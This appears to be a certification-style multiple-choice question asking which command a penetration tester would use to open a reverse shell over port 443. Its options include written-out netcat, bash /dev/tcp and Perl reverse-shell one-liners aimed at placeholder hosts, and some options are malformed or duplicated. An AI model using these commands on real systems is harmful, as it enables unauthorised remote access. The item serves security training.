A Penetration Tester Compromises a System That Has Unrestricted Network

Multiple Choice

A penetration tester compromises a system that has unrestricted network access over port 443 to any host. The penetration tester wants to create a reverse shell from the victim back to the attacker. Which of the following methods would the penetration tester MOST likely use?

A) perl -e 'use SOCKET'; $i='<SOURCEIP>; $p='443;
B) ssh superadmin@<DESTINATIONIP> -p 443
C) nc -e /bin/sh <SOURCEIP> 443 nc -e /bin/sh <SOURCEIP> 443
D) bash -i >& /dev/tcp/<DESTINATIONIP>/443 0>&1